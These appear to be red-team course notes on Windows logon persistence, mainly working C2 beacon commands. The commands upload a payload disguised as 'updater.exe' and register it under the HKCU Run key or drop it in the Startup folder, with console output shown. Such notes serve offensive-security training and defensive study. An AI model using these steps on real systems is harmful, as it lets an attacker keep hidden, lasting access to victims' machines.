←

Boot and Logon Autostart Execution

  • collection of techniques [T1547] where an adversary configures the computer to automatically execute a payload during startup, or when a user logs in.

Registry Run Keys

  • Windows Registry contains multiple keys that allow programs to run when user logs in
  • 2 most common:
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • Run key is persistent whereas RunOnce gets deleted after being run
  • The syntax of the reg_set command is reg_set <host:optional> <hive> <key> <value> <type> <data>
beacon> cd C:\Users\pchilds\AppData\Local\Microsoft\WindowsApps
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe

beacon> reg_set HKCU Software\Microsoft\Windows\CurrentVersion\Run Updater REG_EXPAND_SZ %LOCALAPPDATA%\Microsoft\WindowsApps\updater.exe
Setting registry key \\.\0000000080000001\Software\Microsoft\Windows\CurrentVersion\Run\Updater with type 1
Successfully set regkey
SUCCESS.
  • Read it back with reg_query to make sure it was added correctly.
beacon> reg_query HKCU Software\Microsoft\Windows\CurrentVersion\Run Updater

  01/07/2025 11:51:52 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    Updater                REG_EXPAND_SZ          %LOCALAPPDATA%\Microsoft\WindowsApps\updater.exe
  • Use reg_delete to remove a registry key or value when it's no longer required.

Startup Folder

  • Programs in the user's startup folder will also run automatically on login
  • upload executable to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup and it will run on user login 
beacon> cd C:\Users\pchilds\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe